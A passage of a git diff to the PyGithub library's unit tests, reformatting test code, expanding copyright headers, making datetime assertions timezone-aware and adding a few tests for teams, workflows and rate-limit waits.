self.g.get_user() + emails = user.get_emails() + self.assertEqual( + [item.email for item in emails], + ["vincent@vincent-jacques.net", "github.com@vincent-jacques.net"], + ) + self.assertTrue(emails[0].primary) + self.assertTrue(emails[0].verified) + self.assertEqual(emails[0].visibility, "private") + user.add_to_emails("1@foobar.com", "2@foobar.com") + self.assertEqual( + [item.email for item in user.get_emails()], + [ + "vincent@vincent-jacques.net", + "1@foobar.com", + "2@foobar.com", + "github.com@vincent-jacques.net", + ], + ) + user.remove_from_emails("1@foobar.com", "2@foobar.com") + self.assertEqual( + [item.email for item in user.get_emails()], + ["vincent@vincent-jacques.net", "github.com@vincent-jacques.net"], + ) + + self.assertEqual( + sleep_mock.call_args_list, + [ + # g.get_user() does not call into GitHub API + # user.get_emails() is the first request so no waiting needed + # user.add_to_emails is a write request, this is the first write request + mock.call(1), + # user.get_emails() is a read request + mock.call(1), + # user.remove_from_emails is a write request, it has to be 3 seconds after the last write + mock.call(2), + # user.get_emails() is a read request + mock.call(1), + ], + ) diff --git a/tests/RequiredPullRequestReviews.py b/tests/RequiredPullRequestReviews.py index f1c3d2d0af..de23b04b0b 100644 --- a/tests/RequiredPullRequestReviews.py +++ b/tests/RequiredPullRequestReviews.py @@ -1,6 +1,22 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2017 Simon # # Copyright 2018 Steve Kowalik # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2024 Benjamin K <53038537+treee111@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -27,18 +43,14 @@ class RequiredPullRequestReviews(Framework.TestCase): def setUp(self): super().setUp() self.required_pull_request_reviews = ( - self.g.get_user() - .get_repo("PyGithub") - .get_branch("integrations") - .get_required_pull_request_reviews() + self.g.get_user().get_repo("PyGithub").get_branch("integrations").get_required_pull_request_reviews() ) def testAttributes(self): self.assertTrue(self.required_pull_request_reviews.dismiss_stale_reviews) self.assertTrue(self.required_pull_request_reviews.require_code_owner_reviews) - self.assertEqual( - self.required_pull_request_reviews.required_approving_review_count, 3 - ) + self.assertIsNone(self.required_pull_request_reviews.require_last_push_approval) + self.assertEqual(self.required_pull_request_reviews.required_approving_review_count, 3) self.assertEqual( self.required_pull_request_reviews.url, "https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews", @@ -47,7 +59,7 @@ def testAttributes(self): self.assertIs(self.required_pull_request_reviews.dismissal_teams, None) self.assertEqual( self.required_pull_request_reviews.__repr__(), - 'RequiredPullRequestReviews(url="https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews", require_code_owner_reviews=True, dismiss_stale_reviews=True)', + 'RequiredPullRequestReviews(url="https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews", require_last_push_approval=None, require_code_owner_reviews=True, dismiss_stale_reviews=True)', ) def testOrganizationOwnedTeam(self): diff --git a/tests/RequiredStatusChecks.py b/tests/RequiredStatusChecks.py index 882c57c55a..63264a25d5 100644 --- a/tests/RequiredStatusChecks.py +++ b/tests/RequiredStatusChecks.py @@ -1,6 +1,20 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2017 Nicolas Agustín Torres # # Copyright 2018 Steve Kowalik # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -27,10 +41,7 @@ class RequiredStatusChecks(Framework.TestCase): def setUp(self): super().setUp() self.required_status_checks = ( - self.g.get_user() - .get_repo("PyGithub") - .get_branch("integrations") - .get_required_status_checks() + self.g.get_user().get_repo("PyGithub").get_branch("integrations").get_required_status_checks() ) def testAttributes(self): diff --git a/tests/Retry.py b/tests/Retry.py index 19ecf49cee..1dce05aeba 100644 --- a/tests/Retry.py +++ b/tests/Retry.py @@ -1,10 +1,15 @@ ############################ Copyrights and license ############################ # # # Copyright 2018 Justin Kufro # -# Copyright 2018 Ivan Minno # -# Copyright 2018 Zilei Gu # -# Copyright 2018 Yves Zumbach # -# Copyright 2018 Leying Chen # +# Copyright 2019 Isac Souza # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Liuyang Wan # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Amador Pahim # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -39,9 +44,7 @@ class Retry(Framework.TestCase): def setUp(self): # status codes returned on random github server errors status_forcelist = (500, 502, 504) - retry = urllib3.Retry( - total=3, read=3, connect=3, status_forcelist=status_forcelist - ) + retry = urllib3.Retry(total=3, read=3, connect=3, status_forcelist=status_forcelist) Framework.enableRetry(retry) super().setUp() @@ -78,8 +81,7 @@ def testRaisesRetryErrorAfterMaxRetries(self): def testReturnsRepoAfterSettingRetryHttp(self): g = github.Github( - self.login, - self.password, + auth=self.login, base_url="http://my.enterprise.com", retry=0, ) # http here diff --git a/tests/Search.py b/tests/Search.py index aa6c2b2a46..83cac27957 100644 --- a/tests/Search.py +++ b/tests/Search.py @@ -4,7 +4,18 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Agor Maxime # # Copyright 2018 Joel Koglin # +# Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # +# Copyright 2018 Steve Kowalik # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 h.shi <10385628+AnYeMoWang@users.noreply.github.com> # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -119,9 +130,7 @@ def testGetPageOnSearchUsers(self): ) def testSearchRepos(self): - repos = self.g.search_repositories( - "github", sort="stars", order="desc", language="Python" - ) + repos = self.g.search_repositories("github", sort="stars", order="desc", language="Python") self.assertListKeyBegin( repos, lambda r: r.full_name, @@ -169,9 +178,7 @@ def testSearchReposWithNoResults(self): self.assertEqual(repos.totalCount, 0) def testSearchIssues(self): - issues = self.g.search_issues( - "compile", sort="comments", order="desc", language="C++" - ) + issues = self.g.search_issues("compile", sort="comments", order="desc", language="C++") self.assertListKeyBegin( issues, lambda i: i.id, @@ -190,9 +197,7 @@ def testSearchIssues(self): ) def testPaginateSearchCommits(self): - commits = self.g.search_commits( - query="hash:5b0224e868cc9242c9450ef02efbe3097abd7ba2" - ) + commits = self.g.search_commits(query="hash:5b0224e868cc9242c9450ef02efbe3097abd7ba2") self.assertEqual(commits.totalCount, 3) def testSearchCommits(self): @@ -245,21 +250,15 @@ def testSearchCode(self): self.assertEqual(content[:30], "https\nGET\napi.github.com\nNone\n") def testSearchHighlightingCode(self): - files = self.g.search_code( - "toto", sort="indexed", order="asc", user="jacquev6", highlight=True - ) + files = self.g.search_code("toto", sort="indexed", order="asc", user="jacquev6", highlight=True) self.assertTrue(files[0].text_matches) def testUrlquotingOfQualifiers(self): # Example taken from #236 - issues = self.g.search_issues( - "repo:saltstack/salt-api type:Issues", updated=">2014-03-04T18:28:11Z" - ) + issues = self.g.search_issues("repo:saltstack/salt-api type:Issues", updated=">2014-03-04T18:28:11Z") self.assertEqual(issues[0].id, 29138794) def testUrlquotingOfQuery(self): # Example taken from #236 - issues = self.g.search_issues( - "repo:saltstack/salt-api type:Issues updated:>2014-03-04T18:28:11Z" - ) + issues = self.g.search_issues("repo:saltstack/salt-api type:Issues updated:>2014-03-04T18:28:11Z") self.assertEqual(issues[0].id, 29138794) diff --git a/tests/SelfHostedActionsRunner.py b/tests/SelfHostedActionsRunner.py index f464d8c775..6a71fe94e5 100644 --- a/tests/SelfHostedActionsRunner.py +++ b/tests/SelfHostedActionsRunner.py @@ -1,43 +1,55 @@ -############################ Copyrights and license ############################ -# # -# Copyright 2020 Victor Zeng # -# # -# This file is part of PyGithub. # -# http://pygithub.readthedocs.io/ # -# # -# PyGithub is free software: you can redistribute it and/or modify it under # -# the terms of the GNU Lesser General Public License as published by the Free # -# Software Foundation, either version 3 of the License, or (at your option) # -# any later version. # -# # -# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # -# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # -# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # -# details. # -# # -# You should have received a copy of the GNU Lesser General Public License # -# along with PyGithub. If not, see . # -# # -################################################################################ - -from . import Framework - - -class SelfHostedActionsRunner(Framework.TestCase): - def setUp(self): - super().setUp() - self.user = self.g.get_user("ReDASers") - self.repo = self.user.get_repo("Phishing-Detection") - - def testAttributes(self): - runner = self.repo.get_self_hosted_runner(2217) - self.assertEqual(2217, runner.id) - self.assertEqual("linux", runner.os) - self.assertEqual("4306125c7c84", runner.name) - self.assertEqual("offline", runner.status) - self.assertFalse(runner.busy) - labels = runner.labels() - self.assertEqual(3, len(labels)) - self.assertEqual("self-hosted", labels[0]["name"]) - self.assertEqual("X64", labels[1]["name"]) - self.assertEqual("Linux", labels[2]["name"]) +############################ Copyrights and license ############################ +# # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Peter Buckley # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 Victor Zeng # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from . import Framework + + +class SelfHostedActionsRunner(Framework.TestCase): + def setUp(self): + super().setUp() + self.user = self.g.get_user("ReDASers") + self.repo = self.user.get_repo("Phishing-Detection") + + def testAttributes(self): + runner = self.repo.get_self_hosted_runner(2217) + self.assertEqual(2217, runner.id) + self.assertEqual("linux", runner.os) + self.assertEqual("4306125c7c84", runner.name) + self.assertEqual("offline", runner.status) + self.assertFalse(runner.busy) + labels = runner.labels() + self.assertEqual(3, len(labels)) + self.assertEqual("self-hosted", labels[0]["name"]) + self.assertEqual("X64", labels[1]["name"]) + self.assertEqual("Linux", labels[2]["name"]) diff --git a/tests/SelfHostedActionsRunnerRegistrationToken.py b/tests/SelfHostedActionsRunnerRegistrationToken.py index d46ba74611..4d860ec5ce 100644 --- a/tests/SelfHostedActionsRunnerRegistrationToken.py +++ b/tests/SelfHostedActionsRunnerRegistrationToken.py @@ -19,7 +19,7 @@ # along with PyGithub. If not, see . # # # ################################################################################ -from datetime import datetime +from datetime import datetime, timezone from . import Framework @@ -33,8 +33,8 @@ def setUp(self): def testAttributes(self): token = self.repo.get_self_hosted_action_runner_registration_token() self.assertEqual("INSERTABEAUTIFULTOKENHERE", token.token) - # 2021-07-05T17:07:52.961-04:00. The returned datetime is naïve, but represents a time in UTC. + # the expiration date will be tz-aware with -04:00, which compares to UTC 4 hours later. self.assertEqual( - datetime(2021, 7, 5, 21, 7, 52, tzinfo=None), - token.expires_at, + datetime(2021, 7, 5, 17 + 4, 7, 52, 961000, tzinfo=timezone.utc), + token.expires_at, # 2021-07-05T17:07:52.961-04:00 ) diff --git a/tests/SourceImport.py b/tests/SourceImport.py index 4d97ac970a..5a0466ff43 100644 --- a/tests/SourceImport.py +++ b/tests/SourceImport.py @@ -1,6 +1,19 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Peter Buckley # # Copyright 2018 Hayden Fuss # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -55,9 +68,7 @@ def testAttributes(self): ) self.assertEqual(self.source_import.use_lfs, "undecided") self.assertEqual(self.source_import.vcs, "mercurial") - self.assertEqual( - self.source_import.vcs_url, "https://bitbucket.org/hfuss/source-import-test" - ) + self.assertEqual(self.source_import.vcs_url, "https://bitbucket.org/hfuss/source-import-test") self.assertEqual( self.source_import.__repr__(), diff --git a/tests/Tag.py b/tests/Tag.py index 270e2d88a1..0d83de3ec5 100644 --- a/tests/Tag.py +++ b/tests/Tag.py @@ -7,6 +7,12 @@ # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -35,16 +41,10 @@ def setUp(self): self.tag = self.g.get_user().get_repo("PyGithub").get_tags()[0] def testAttributes(self): - self.assertEqual( - self.tag.commit.sha, "636e6112deb72277b3bffcc3303cd7e8a7431a5d" - ) + self.assertEqual(self.tag.commit.sha, "636e6112deb72277b3bffcc3303cd7e8a7431a5d") self.assertEqual(self.tag.name, "v0.3") - self.assertEqual( - self.tag.tarball_url, "https://github.com/jacquev6/PyGithub/tarball/v0.3" - ) - self.assertEqual( - self.tag.zipball_url, "https://github.com/jacquev6/PyGithub/zipball/v0.3" - ) + self.assertEqual(self.tag.tarball_url, "https://github.com/jacquev6/PyGithub/tarball/v0.3") + self.assertEqual(self.tag.zipball_url, "https://github.com/jacquev6/PyGithub/zipball/v0.3") self.assertEqual( repr(self.tag), 'Tag(name="v0.3", commit=Commit(sha="636e6112deb72277b3bffcc3303cd7e8a7431a5d"))', diff --git a/tests/Team.py b/tests/Team.py index 8812a84371..abe8480e01 100644 --- a/tests/Team.py +++ b/tests/Team.py @@ -12,7 +12,21 @@ # Copyright 2018 James D'Amato # # Copyright 2018 Steve Kowalik # # Copyright 2018 Tim Boring # +# Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Adrian Bridgett <58699309+tl-adrian-bridgett@users.noreply.github.com># +# Copyright 2020 Andy Grunwald # +# Copyright 2020 Gilad Shefer # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 Tal Machani <12785464+talmachani@users.noreply.github.com> # +# Copyright 2021 秋葉 # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2024 Andrii Kezikov # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -34,7 +48,7 @@ import warnings -from datetime import datetime +from datetime import datetime, timezone from . import Framework @@ -55,12 +69,8 @@ def testAttributes(self): self.assertEqual(self.team.organization, self.org) self.assertEqual(self.team.privacy, "closed") self.assertEqual(self.team.parent, None) - self.assertEqual( - repr(self.team), 'Team(name="Team created by PyGithub", id=189850)' - ) - self.assertEqual( - self.team.html_url, "https://github.com/orgs/BeaverSoftware/teams/core" - ) + self.assertEqual(repr(self.team), 'Team(name="Team created by PyGithub", id=189850)') + self.assertEqual(self.team.html_url, "https://github.com/orgs/BeaverSoftware/teams/core") def testDiscussions(self): discussions = list(self.team.get_discussions()) @@ -72,10 +82,8 @@ def testDiscussions(self): self.assertEqual(d.body_html, "

BODY

") self.assertEqual(d.body_version, "bedf0740b01d2d758cff9873c2387817") self.assertEqual(d.comments_count, 0) - self.assertEqual( - d.comments_url, "https://api.github.com/teams/189850/discussions/1/comments" - ) - self.assertEqual(d.created_at, datetime(2019, 10, 8, 21, 3, 36)) + self.assertEqual(d.comments_url, "https://api.github.com/teams/189850/discussions/1/comments") + self.assertEqual(d.created_at, datetime(2019, 10, 8, 21, 3, 36, tzinfo=timezone.utc)) self.assertEqual( d.html_url, "https://github.com/orgs/BeaverSoftware/teams/Team/discussions/1", @@ -87,7 +95,7 @@ def testDiscussions(self): self.assertEqual(d.private, False) self.assertEqual(d.team_url, "https://api.github.com/teams/189850") self.assertEqual(d.title, "TITLE") - self.assertEqual(d.updated_at, datetime(2019, 10, 8, 21, 3, 36)) + self.assertEqual(d.updated_at, datetime(2019, 10, 8, 21, 3, 36, tzinfo=timezone.utc)) self.assertEqual(d.url, "https://api.github.com/teams/189850/discussions/1") self.assertEqual(repr(d), 'TeamDiscussion(title="TITLE", number=1)') @@ -96,9 +104,7 @@ def testMembers(self): self.assertListKeyEqual(self.team.get_members(), None, []) self.assertFalse(self.team.has_in_members(user)) self.team.add_to_members(user) - self.assertListKeyEqual( - self.team.get_members(), lambda u: u.login, ["jacquev6"] - ) + self.assertListKeyEqual(self.team.get_members(), lambda u: u.login, ["jacquev6"]) self.assertTrue(self.team.has_in_members(user)) self.team.remove_from_members(user) self.assertListKeyEqual(self.team.get_members(), None, []) @@ -112,9 +118,7 @@ def testTeamMembership(self): self.assertEqual(list(self.team.get_members()), []) self.assertFalse(self.team.has_in_members(user)) self.team.add_membership(user) - self.assertListKeyEqual( - self.team.get_members(), lambda u: u.login, ["jacquev6"] - ) + self.assertListKeyEqual(self.team.get_members(), lambda u: u.login, ["jacquev6"]) self.assertTrue(self.team.has_in_members(user)) membership_data = self.team.get_team_membership(user) self.assertEqual(membership_data.user.login, "jacquev6") @@ -138,9 +142,7 @@ def testRepos(self): self.assertFalse(self.team.has_in_repos(repo)) self.assertIsNone(self.team.get_repo_permission(repo)) self.team.add_to_repos(repo) - self.assertListKeyEqual( - self.team.get_repos(), lambda r: r.name, ["FatherBeaver"] - ) + self.assertListKeyEqual(self.team.get_repos(), lambda r: r.name, ["FatherBeaver"]) self.assertTrue(self.team.has_in_repos(repo)) permissions = self.team.get_repo_permission(repo) self.assertTrue(permissions.pull) @@ -153,22 +155,25 @@ def testEditWithoutArguments(self): self.assertEqual(self.team.name, "Name edited by PyGithub") def testEditWithAllArguments(self): + parent = self.org.get_team(141496) self.team.edit( "Name edited twice by PyGithub", "Description edited by PyGithub", "admin", "secret", + parent.id, + "notifications_disabled", ) self.assertEqual(self.team.name, "Name edited twice by PyGithub") self.assertEqual(self.team.description, "Description edited by PyGithub") self.assertEqual(self.team.permission, "admin") self.assertEqual(self.team.privacy, "secret") + self.assertEqual(self.team.parent, parent) + self.assertEqual(self.team.notification_setting, "notifications_disabled") def testGetTeams(self): nested_teams = self.team.get_teams() - self.assertListKeyEqual( - nested_teams, lambda t: t.name, ["DummyTeam1", "DummyTeam2", "DummyTeam3"] - ) + self.assertListKeyEqual(nested_teams, lambda t: t.name, ["DummyTeam1", "DummyTeam2", "DummyTeam3"]) parent = nested_teams[0].parent self.assertEqual(self.team.name, parent.name) self.assertEqual(self.team.id, parent.id) diff --git a/tests/Tool.py b/tests/Tool.py index cbf1000423..78822a4b78 100644 --- a/tests/Tool.py +++ b/tests/Tool.py @@ -4,9 +4,7 @@ class Tool(Framework.TestCase): def setUp(self): super().setUp() - self.tool = ( - self.g.get_user().get_repo("PyGithub").get_code_scanning_analyses()[0].tool - ) + self.tool = self.g.get_user().get_repo("PyGithub").get_code_scanning_analyses()[0].tool def testAttributes(self): self.assertIn("CodeQL", self.tool.name) diff --git a/tests/Topic.py b/tests/Topic.py index 8bdfeaaf03..63811720a1 100644 --- a/tests/Topic.py +++ b/tests/Topic.py @@ -1,6 +1,10 @@ ############################ Copyrights and license ############################ # # # Copyright 2019 Adam Baratz # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -21,7 +25,7 @@ ################################################################################ -from datetime import datetime +from datetime import datetime, timezone from operator import attrgetter from . import Framework @@ -47,8 +51,8 @@ def testAllFields(self): ) self.assertEqual(topic.created_by, "Guido van Rossum") self.assertEqual(topic.released, "February 20, 1991") - self.assertEqual(topic.created_at, datetime(2016, 12, 7, 0, 7, 2)) - self.assertEqual(topic.updated_at, datetime(2019, 10, 9, 20, 33, 49)) + self.assertEqual(topic.created_at, datetime(2016, 12, 7, 0, 7, 2, tzinfo=timezone.utc)) + self.assertEqual(topic.updated_at, datetime(2019, 10, 9, 20, 33, 49, tzinfo=timezone.utc)) self.assertEqual(topic.featured, True) self.assertEqual(topic.curated, True) self.assertEqual(topic.score, 7576.306) diff --git a/tests/Traffic.py b/tests/Traffic.py index 7dfe6dcc74..4d267a2e74 100644 --- a/tests/Traffic.py +++ b/tests/Traffic.py @@ -1,10 +1,11 @@ ############################ Copyrights and license ############################ # # # Copyright 2018 Justin Kufro # -# Copyright 2018 Ivan Minno # -# Copyright 2018 Zilei Gu # -# Copyright 2018 Yves Zumbach # -# Copyright 2018 Leying Chen # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -24,7 +25,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -68,10 +69,14 @@ def testGetViews(self): self.assertEqual(len(viewsResponse["views"]), 5) view_obj = viewsResponse["views"][0] self.assertEqual(view_obj.uniques, 4) - self.assertEqual(view_obj.timestamp, datetime.datetime(2018, 11, 27, 0, 0)) + self.assertEqual( + view_obj.timestamp, + datetime(2018, 11, 27, 0, 0, tzinfo=timezone.utc), + ) self.assertEqual(view_obj.count, 56) self.assertEqual( - repr(view_obj), "View(uniques=4, timestamp=2018-11-27 00:00:00, count=56)" + repr(view_obj), + "View(uniques=4, timestamp=2018-11-27 00:00:00+00:00, count=56)", ) def testGetClones(self): @@ -81,8 +86,12 @@ def testGetClones(self): self.assertEqual(len(clonesResponse["clones"]), 1) clone_obj = clonesResponse["clones"][0] self.assertEqual(clone_obj.uniques, 4) - self.assertEqual(clone_obj.timestamp, datetime.datetime(2018, 11, 27, 0, 0)) + self.assertEqual( + clone_obj.timestamp, + datetime(2018, 11, 27, 0, 0, tzinfo=timezone.utc), + ) self.assertEqual(clone_obj.count, 4) self.assertEqual( - repr(clone_obj), "Clones(uniques=4, timestamp=2018-11-27 00:00:00, count=4)" + repr(clone_obj), + "Clones(uniques=4, timestamp=2018-11-27 00:00:00+00:00, count=4)", ) diff --git a/tests/UserKey.py b/tests/UserKey.py index 36cf3d18b5..937df38c84 100644 --- a/tests/UserKey.py +++ b/tests/UserKey.py @@ -8,6 +8,11 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/Workflow.py b/tests/Workflow.py index 4f8ead191a..e1302635a8 100644 --- a/tests/Workflow.py +++ b/tests/Workflow.py @@ -1,6 +1,20 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Mahesh Raju # # Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Thomas Burghout # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,7 +34,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -39,7 +53,7 @@ def testAttributes(self): self.assertEqual(self.workflow.name, "check") self.assertEqual(self.workflow.path, ".github/workflows/check.yml") self.assertEqual(self.workflow.state, "active") - timestamp = datetime.datetime(2020, 4, 15, 0, 48, 32) + timestamp = datetime(2020, 4, 15, 0, 48, 32, tzinfo=timezone.utc) self.assertEqual(self.workflow.created_at, timestamp) self.assertEqual(self.workflow.updated_at, timestamp) self.assertEqual( @@ -66,9 +80,7 @@ def testGetRunsWithObjects(self): sfdye = self.g.get_user("sfdye") master = self.g.get_repo("PyGithub/PyGithub").get_branch("master") self.assertListKeyEqual( - self.workflow.get_runs( - actor=sfdye, branch=master, event="push", status="completed" - ), + self.workflow.get_runs(actor=sfdye, branch=master, event="push", status="completed"), lambda r: r.id, [100957683, 94845611, 93946842, 92714488], ) @@ -80,30 +92,29 @@ def testGetRunsWithStrings(self): [109950033, 108817672, 108794468, 107927403, 105213061, 105212023], ) + def testGetRunsWithHeadSha(self): + self.assertListKeyEqual( + self.workflow.get_runs(head_sha="3a6235b56eecc0e193c1e267b064c155c6ebc022"), + lambda r: r.id, + [3349872717], + ) + def testCreateDispatchWithBranch(self): dispatch_inputs = {"logLevel": "Warning", "message": "Log Message"} - workflow = self.g.get_repo("wrecker/PyGithub").get_workflow( - "manual_dispatch.yml" - ) - branch = self.g.get_repo("wrecker/PyGithub").get_branch( - "workflow_dispatch_branch" - ) + workflow = self.g.get_repo("wrecker/PyGithub").get_workflow("manual_dispatch.yml") + branch = self.g.get_repo("wrecker/PyGithub").get_branch("workflow_dispatch_branch") self.assertTrue(workflow.create_dispatch(branch, dispatch_inputs)) def testCreateDispatchWithTag(self): dispatch_inputs = {"logLevel": "Warning", "message": "Log Message"} - workflow = self.g.get_repo("wrecker/PyGithub").get_workflow( - "manual_dispatch.yml" - ) + workflow = self.g.get_repo("wrecker/PyGithub").get_workflow("manual_dispatch.yml") tags = self.g.get_repo("wrecker/PyGithub").get_tags() tag = [t for t in tags if t.name == "workflow_dispatch_tag"].pop() self.assertTrue(workflow.create_dispatch(tag, dispatch_inputs)) def testCreateDispatchWithString(self): dispatch_inputs = {"logLevel": "Warning", "message": "Log Message"} - workflow = self.g.get_repo("wrecker/PyGithub").get_workflow( - "manual_dispatch.yml" - ) + workflow = self.g.get_repo("wrecker/PyGithub").get_workflow("manual_dispatch.yml") ref_str = "main" self.assertTrue(workflow.create_dispatch(ref_str, dispatch_inputs)) diff --git a/tests/WorkflowJob.py b/tests/WorkflowJob.py new file mode 100644 index 0000000000..f818e0bb4e --- /dev/null +++ b/tests/WorkflowJob.py @@ -0,0 +1,81 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jeppe Fihl-Pearson # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from datetime import datetime, timezone + +from . import Framework + + +class WorkflowJob(Framework.TestCase): + def 